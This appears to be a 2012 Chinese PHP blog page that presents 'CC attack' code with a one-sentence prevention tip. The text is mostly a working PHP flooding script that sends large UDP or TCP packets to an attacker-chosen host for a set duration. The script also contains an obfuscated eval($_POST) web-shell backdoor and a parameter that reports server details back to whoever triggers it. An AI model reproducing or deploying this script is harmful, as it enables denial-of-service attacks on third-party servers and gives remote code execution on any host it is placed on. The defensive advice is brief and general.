php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
php仿ZOL分页类代码
Oct 02 PHP
php利用header函数实现文件下载时直接提示保存
Nov 12 PHP
php数组函数序列之array_keys() - 获取数组键名
Oct 30 PHP
PHP类的静态(static)方法和静态(static)变量使用介绍
Feb 19 PHP
php获取301跳转URL简单实例
Dec 16 PHP
PHP中echo和print的区别
Aug 28 PHP
phpMyAdmin安装并配置允许空密码登录
Jul 04 PHP
php双层循环(九九乘法表)
Oct 23 PHP
PHP实现微信小程序用户授权的工具类示例
Mar 05 PHP
Laravel第三方包报class not found的解决方法
Oct 13 PHP
Laravel 实现添加多语言提示信息
Oct 25 PHP
PHP pthreads v3下同步处理synchronized用法示例
Feb 21 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
php adodb连接带密码access数据库实例,测试成功
2008/05/14 PHP
php图像处理函数大全(推荐收藏)
2013/07/11 PHP
Linux下安装oracle客户端并配置php5.3
2014/10/12 PHP
php常用的url处理函数总结
2014/11/19 PHP
javascript数组与php数组的地址传递及值传递用法实例
2015/01/22 PHP
PHP基本语法实例总结
2016/09/09 PHP
popdiv
2006/07/14 Javascript
Javascript学习笔记5 类和对象
2010/01/11 Javascript
json数据与字符串的相互转化示例
2013/09/18 Javascript
跟我学习javascript的this关键字
2020/05/28 Javascript
详解基于Bootstrap扁平化的后台框架Ace
2015/11/27 Javascript
基于jQuery实现Ajax验证用户名是否存在实例
2016/03/30 Javascript
Bootstrap打造一个左侧折叠菜单的系统模板(二)
2016/05/17 Javascript
jQuery ajax 当async为false时解决同步操作失败的问题
2016/11/18 Javascript
浅谈jquery采用attr修改form表单enctype不起作用的问题
2016/11/25 Javascript
从零开始学习Node.js系列教程六:EventEmitter发送和接收事件的方法示例
2017/04/13 Javascript
vue 项目接口管理的实现
2019/01/17 Javascript
微信小程序-form表单提交代码实例
2019/04/29 Javascript
vue中axios防止多次触发终止多次请求的示例代码(防抖)
2020/02/16 Javascript
jQuery实现简单QQ聊天框
2020/08/27 jQuery
简单介绍Python中用于求最小值的min()方法
2015/05/15 Python
Python切片操作深入详解
2018/07/27 Python
Python给图像添加噪声具体操作
2019/03/03 Python
Python2与Python3的区别实例分析
2019/04/11 Python
24式加速你的Python(小结)
2019/06/13 Python
python如何从文件读取数据及解析
2019/09/19 Python
在pycharm中创建django项目的示例代码
2020/05/28 Python
Python爬虫开发与项目实战
2020/12/16 Python
HTML5之SVG 2D入门13—svg对决canvas及长处和适用场景分析
2013/01/30 HTML / CSS
Diesel美国网上商店:意大利牛仔时装品牌
2020/12/10 全球购物
莫斯科珠宝厂官方网站:Miuz
2020/09/19 全球购物
毕业生简单求职信
2013/11/19 职场文书
公司建议书怎么写
2014/05/15 职场文书
食品安全处置方案
2014/06/14 职场文书
上班离岗检讨书
2014/09/10 职场文书
详解盒子端CSS动画性能提升
2021/05/24 HTML / CSS